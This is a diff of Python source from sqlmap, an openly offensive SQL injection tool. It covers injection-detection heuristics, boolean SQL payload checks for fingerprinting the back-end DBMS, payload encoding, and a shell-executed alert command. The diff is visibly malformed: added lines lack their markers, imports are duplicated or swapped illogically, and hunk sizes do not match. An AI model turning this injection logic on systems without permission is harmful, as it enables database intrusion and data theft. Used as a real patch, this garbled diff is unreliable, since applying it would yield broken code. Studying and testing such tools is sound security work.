                            for value in row:
                                output += "<td>%s</td>" % value
                            output += "</tr>\n"
                        output += "</table>\n"
                    else:
                        output += "no results found"
                    output += "</body></html>"
                except Exception as ex:
                    code = INTERNAL_SERVER_ERROR
                    output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
-                self.wfile.write(output.encode("utf8"))
+                self.send_response(code)
                self.send_header("Content-type", "text/html")
                self.send_header("Connection", "close")
                if self.raw_requestline.startswith(b"HEAD"):
                    self.send_header("Content-Length", str(len(output)))
                    self.end_headers()
                else:
                    self.end_headers()
                    self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
        else:
            self.send_response(NOT_FOUND)
            self.send_header("Connection", "close")
@@ -149,12 +188,37 @@ class ReqHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.do_REQUEST()
    def do_PUT(self):
        self.do_REQUEST()
    def do_HEAD(self):
        self.do_REQUEST()
    def do_POST(self):
        length = int(self.headers.get("Content-length", 0))
        if length:
            data = self.rfile.read(length)
-            data = unquote_plus(data.decode("utf8"))
+            data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
            self.data = data
        elif self.headers.get("Transfer-encoding") == "chunked":
            data, line = b"", b""
            count = 0
            while True:
                line += self.rfile.read(1)
                if line.endswith(b'\n'):
                    if count % 2 == 1:
                        current = line.rstrip(b"\r\n")
                        if not current:
                            break
                        else:
                            data += current
                    count += 1
                    line = b""
            self.data = data.decode(UNICODE_ENCODING, "ignore")
        self.do_REQUEST()
    def log_message(self, format, *args):
@@ -164,7 +228,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
    global _server
    try:
        _server = ThreadingServer((address, port), ReqHandler)
-        print("[i] running HTTP server at '%s:%d'" % (address, port))
+        print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
        _server.serve_forever()
    except KeyboardInterrupt:
        _server.socket.close()
--- a/lib/init.py
+++ b/lib/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/lib/controller/init.py
+++ b/lib/controller/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -54,6 +54,8 @@ def action():
    conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
    kb.fingerprinted = True
    # Enumeration options
    if conf.getBanner:
        conf.dumper.banner(conf.dbmsHandler.getBanner())
@@ -181,7 +183,10 @@ def action():
            raise
    if conf.sqlQuery:
-        conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
+        for query in conf.sqlQuery.strip(';').split(';'):
            query = query.strip()
            if query:
                conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
    if conf.sqlShell:
        conf.dbmsHandler.sqlShell()
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
 from lib.core.common import joinValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseFilePaths
 from lib.core.common import popValue
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -52,6 +54,7 @@ from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.dicts import HEURISTIC_NULL_EVAL
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -95,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
@@ -153,7 +157,7 @@ def checkSqlInjection(place, parameter, value):
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS
                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
-                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
+                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                    msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -163,7 +167,7 @@ def checkSqlInjection(place, parameter, value):
            # regardless of --level and --risk values provided
            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                msg = "for the remaining tests, do you want to include all tests "
-                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
+                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                msg += "level (%d)" % conf.level if conf.level < 5 else ""
                msg += " and " if conf.level < 5 and conf.risk < 3 else ""
                msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
@@ -497,12 +501,13 @@ def checkSqlInjection(place, parameter, value):
                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            suggestion = None
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = "%s%s" % (falseHeaders, falsePage)
                            # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
-                            if not kb.negativeLogic:
+                            if not any((kb.negativeLogic, conf.string, conf.notString)):
                                try:
                                    ratio = 1.0
                                    seqMatcher = getCurrentThreadData().seqMatcher
@@ -517,8 +522,6 @@ def checkSqlInjection(place, parameter, value):
                                except (MemoryError, OverflowError):
                                    pass
                            kb.prevFalsePage = falsePage
                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
@@ -566,7 +569,7 @@ def checkSqlInjection(place, parameter, value):
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
-                                                    conf.string = candidate
+                                                    suggestion = conf.string = candidate
                                                    injectable = True
                                                    infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
@@ -577,7 +580,7 @@ def checkSqlInjection(place, parameter, value):
                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
-                                        conf.code = trueCode
+                                        suggestion = conf.code = trueCode
                                        infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
                                        logger.info(infoMsg)
@@ -599,10 +602,10 @@ def checkSqlInjection(place, parameter, value):
                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
-                                                if re.match(r"\A\w+\Z", candidate):
+                                                if re.match(r"\A\w{2,}\Z", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break
-                                            conf.string = candidate
+                                            suggestion = conf.string = candidate
                                            infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
                                            logger.info(infoMsg)
@@ -616,12 +619,12 @@ def checkSqlInjection(place, parameter, value):
                                                    if re.match(r"\A\w+\Z", candidate):
                                                        break
-                                                conf.notString = candidate
+                                                suggestion = conf.notString = candidate
                                                infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
                                                logger.info(infoMsg)
-                                if not any((conf.string, conf.notString, conf.code)):
+                                if not suggestion:
                                    infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
                                    singleTimeLogMessage(infoMsg)
@@ -786,8 +789,12 @@ def checkSqlInjection(place, parameter, value):
                                infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                logger.info(infoMsg)
-                                process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
+                                try:
                                    process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
                                    process.wait()
                                except Exception as ex:
                                    errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
                                    logger.error(errMsg)
                            kb.alerted = True
@@ -876,12 +883,17 @@ def heuristicCheckDbms(injection):
    for dbms in getPublicTypeMembers(DBMS, True):
        randStr1, randStr2 = randomStr(), randomStr()
        Backend.forceDbms(dbms)
-        if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
+        if dbms in HEURISTIC_NULL_EVAL:
-            continue
+            result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
        elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
            result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
        else:
            result = False
-        if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
+        if result:
            if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                retVal = dbms
                break
@@ -925,6 +937,12 @@ def checkFalsePositives(injection):
                randInt1 = min(randInt1, randInt2, randInt3)
                randInt3 = max(randInt1, randInt2, randInt3)
                if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
                    continue
                if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
                    continue
                if randInt3 > randInt2 > randInt1:
                    break
@@ -1099,6 +1117,7 @@ def heuristicCheckSqlInjection(place, parameter):
        logger.warn(infoMsg)
    kb.heuristicMode = True
    kb.disableHtmlDecoding = True
    randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
    value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
@@ -1118,6 +1137,7 @@ def heuristicCheckSqlInjection(place, parameter):
            logger.info(infoMsg)
            break
    kb.disableHtmlDecoding = False
    kb.heuristicMode = False
    return kb.heuristicTest
@@ -1512,6 +1532,7 @@ def checkConnection(suppressOutput=False):
            conf.disablePrecon = True
        if not kb.originalPage and wasLastResponseHTTPError():
            if getLastRequestHTTPError() not in (conf.ignoreCode or []):
                errMsg = "unable to retrieve page content"
                raise SqlmapConnectionException(errMsg)
        elif wasLastResponseDBMSError():
@@ -1560,7 +1581,7 @@ def checkConnection(suppressOutput=False):
        kb.originalPage = kb.pageTemplate = threadData.lastPage
        kb.originalCode = threadData.lastCode
-    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+    if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
        candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
        message = "you have not declared cookie(s), while "
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -36,6 +36,7 @@ from lib.core.common import isListLike
 from lib.core.common import parseTargetUrl
 from lib.core.common import popValue
 from lib.core.common import pushValue
 from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
@@ -57,6 +58,7 @@ from lib.core.enums import NOTE
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
@@ -203,10 +205,11 @@ def _randomFillBlankFields(value):
            for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
                item = match.group("result")
                if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
                    newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
                    if item[-1] == DEFAULT_GET_POST_DELIMITER:
-                        retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
+                        retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
                    else:
-                        retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
+                        retVal = retVal.replace(item, "%s%s" % (item, newValue))
    return retVal
@@ -257,10 +260,6 @@ def _saveToResultsFile():
            line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
            conf.resultsFP.write(line)
        if not results:
            line = "%s,,,,%s" % (conf.url, os.linesep)
            conf.resultsFP.write(line)
        conf.resultsFP.flush()
    except IOError as ex:
        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
@@ -293,7 +292,7 @@ def start():
        return False
    if kb.targets and len(kb.targets) > 1:
-        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
+        infoMsg = "found a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)
    hostCount = 0
@@ -301,7 +300,6 @@ def start():
    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:
            if conf.checkInternet:
                infoMsg = "checking for Internet connection"
                logger.info(infoMsg)
@@ -310,14 +308,23 @@ def start():
                    warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
                    dataToStdout(warnMsg)
-                    while not checkInternet():
+                    valid = False
                    for _ in xrange(conf.retries):
                        if checkInternet():
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(5)
                    if not valid:
                        errMsg = "please check your Internet connection and rerun"
                        raise SqlmapConnectionException(errMsg)
                    else:
                        dataToStdout("\n")
            conf.url = targetUrl
-            conf.method = targetMethod.upper() if targetMethod else targetMethod
+            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
@@ -329,6 +336,10 @@ def start():
                        conf.httpHeaders.append((header, value))
                        break
            if conf.data:
                # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
                conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
            initTargetEnv()
@@ -375,7 +386,7 @@ def start():
                    message += "\nCookie: %s" % conf.cookie
                if conf.data is not None:
-                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
+                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -406,6 +417,7 @@ def start():
                        parseTargetUrl()
                else:
                    if not conf.scope:
                        message += "\ndo you want to test this URL? [Y/n/q]"
                        choice = readInput(message, default='Y').upper()
@@ -414,6 +426,8 @@ def start():
                            continue
                        elif choice == 'Q':
                            break
                    else:
                        pass
                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)
@@ -459,18 +473,18 @@ def start():
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
-                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
+                    skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
-                    skip |= (place == PLACE.REFERER and conf.level < 3)
+                    skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
                    # --param-filter
                    skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
                    # Test Host header only if
                    # --level >= 5
-                    skip |= (place == PLACE.HOST and conf.level < 5)
+                    skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))
                    # Test Cookie header only if --level >= 2
-                    skip |= (place == PLACE.COOKIE and conf.level < 2)
+                    skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -11,47 +11,83 @@ from lib.core.data import kb
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
 from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import ACCESS_ALIASES
 from lib.core.settings import ALTIBASE_ALIASES
 from lib.core.settings import CACHE_ALIASES
 from lib.core.settings import CRATEDB_ALIASES
 from lib.core.settings import CUBRID_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import DERBY_ALIASES
 from lib.core.settings import EXTREMEDB_ALIASES
 from lib.core.settings import FIREBIRD_ALIASES
 from lib.core.settings import FRONTBASE_ALIASES
 from lib.core.settings import H2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import MCKOI_ALIASES
 from lib.core.settings import MIMERSQL_ALIASES
 from lib.core.settings import MONETDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
 from lib.core.settings import PGSQL_ALIASES
 from lib.core.settings import PRESTO_ALIASES
 from lib.core.settings import SQLITE_ALIASES
 from lib.core.settings import ACCESS_ALIASES
 from lib.core.settings import FIREBIRD_ALIASES
 from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
-from lib.core.settings import DB2_ALIASES
+from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
 from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 from plugins.dbms.mssqlserver import MSSQLServerMap
 from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
 from plugins.dbms.mysql import MySQLMap
 from plugins.dbms.mysql.connector import Connector as MySQLConn
 from plugins.dbms.oracle import OracleMap
 from plugins.dbms.oracle.connector import Connector as OracleConn
 from plugins.dbms.postgresql import PostgreSQLMap
 from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
 from plugins.dbms.sqlite import SQLiteMap
 from plugins.dbms.sqlite.connector import Connector as SQLiteConn
 from plugins.dbms.access import AccessMap
 from plugins.dbms.access.connector import Connector as AccessConn
-from plugins.dbms.firebird import FirebirdMap
+from plugins.dbms.access import AccessMap
-from plugins.dbms.firebird.connector import Connector as FirebirdConn
+from plugins.dbms.altibase.connector import Connector as AltibaseConn
-from plugins.dbms.maxdb import MaxDBMap
+from plugins.dbms.altibase import AltibaseMap
-from plugins.dbms.maxdb.connector import Connector as MaxDBConn
+from plugins.dbms.cache.connector import Connector as CacheConn
-from plugins.dbms.sybase import SybaseMap
+from plugins.dbms.cache import CacheMap
-from plugins.dbms.sybase.connector import Connector as SybaseConn
+from plugins.dbms.cratedb.connector import Connector as CrateDBConn
-from plugins.dbms.db2 import DB2Map
+from plugins.dbms.cratedb import CrateDBMap
 from plugins.dbms.cubrid.connector import Connector as CubridConn
 from plugins.dbms.cubrid import CubridMap
 from plugins.dbms.db2.connector import Connector as DB2Conn
-from plugins.dbms.hsqldb import HSQLDBMap
+from plugins.dbms.db2 import DB2Map
-from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.derby.connector import Connector as DerbyConn
-from plugins.dbms.h2 import H2Map
+from plugins.dbms.derby import DerbyMap
 from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
 from plugins.dbms.extremedb import ExtremeDBMap
 from plugins.dbms.firebird.connector import Connector as FirebirdConn
 from plugins.dbms.firebird import FirebirdMap
 from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
 from plugins.dbms.frontbase import FrontBaseMap
 from plugins.dbms.h2.connector import Connector as H2Conn
-from plugins.dbms.informix import InformixMap
+from plugins.dbms.h2 import H2Map
 from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
 from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.informix.connector import Connector as InformixConn
 from plugins.dbms.informix import InformixMap
 from plugins.dbms.maxdb.connector import Connector as MaxDBConn
 from plugins.dbms.maxdb import MaxDBMap
 from plugins.dbms.mckoi.connector import Connector as MckoiConn
 from plugins.dbms.mckoi import MckoiMap
 from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
 from plugins.dbms.mimersql import MimerSQLMap
 from plugins.dbms.monetdb.connector import Connector as MonetDBConn
 from plugins.dbms.monetdb import MonetDBMap
 from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
 from plugins.dbms.mssqlserver import MSSQLServerMap
 from plugins.dbms.mysql.connector import Connector as MySQLConn
 from plugins.dbms.mysql import MySQLMap
 from plugins.dbms.oracle.connector import Connector as OracleConn
 from plugins.dbms.oracle import OracleMap
 from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
 from plugins.dbms.postgresql import PostgreSQLMap
 from plugins.dbms.presto.connector import Connector as PrestoConn
 from plugins.dbms.presto import PrestoMap
 from plugins.dbms.sqlite.connector import Connector as SQLiteConn
 from plugins.dbms.sqlite import SQLiteMap
 from plugins.dbms.sybase.connector import Connector as SybaseConn
 from plugins.dbms.sybase import SybaseMap
 from plugins.dbms.vertica.connector import Connector as VerticaConn
 from plugins.dbms.vertica import VerticaMap
 def setHandler():
    """
@@ -73,6 +109,18 @@ def setHandler():
        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
        (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
        (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
        (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
        (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
        (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
        (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
        (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
        (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
        (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
        (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
        (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
        (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
        (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
    ]
    _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
--- a/lib/core/init.py
+++ b/lib/core/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
@@ -13,6 +13,7 @@ from lib.core.common import filterNone
 from lib.core.common import getSQLSnippet
 from lib.core.common import getTechnique
 from lib.core.common import getTechniqueData
 from lib.core.common import hashDBRetrieve
 from lib.core.common import isDBMSVersionAtLeast
 from lib.core.common import isNumber
 from lib.core.common import isTechniqueAvailable
@@ -34,6 +35,8 @@ from lib.core.data import queries
 from lib.core.dicts import DUMP_DATA_PREPROCESS
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
 from lib.core.enums import FORK
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
@@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
 from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
 from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -106,6 +110,7 @@ class Agent(object):
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])
        newValue = getUnicode(newValue) if newValue else newValue
        base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
        if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
            paramString = origValue
@@ -121,7 +126,7 @@ class Agent(object):
            paramString = origValue
            origValue = origValue.split(kb.customInjectionMark)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
-                origValue = origValue.split('>')[-1]
+                origValue = re.split(r"['\">]", origValue)[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
            else:
@@ -167,11 +172,22 @@ class Agent(object):
            newValue = "%s%s" % (value, newValue)
-        newValue = self.cleanupPayload(newValue, origValue)
+        newValue = self.cleanupPayload(newValue, origValue) or ""
        if base64Encoding:
            _newValue = newValue
            _origValue = origValue
            if newValue:
                newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
                newValue = self.adjustLateValues(newValue)
        if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
            # TODO: support for POST_HINT
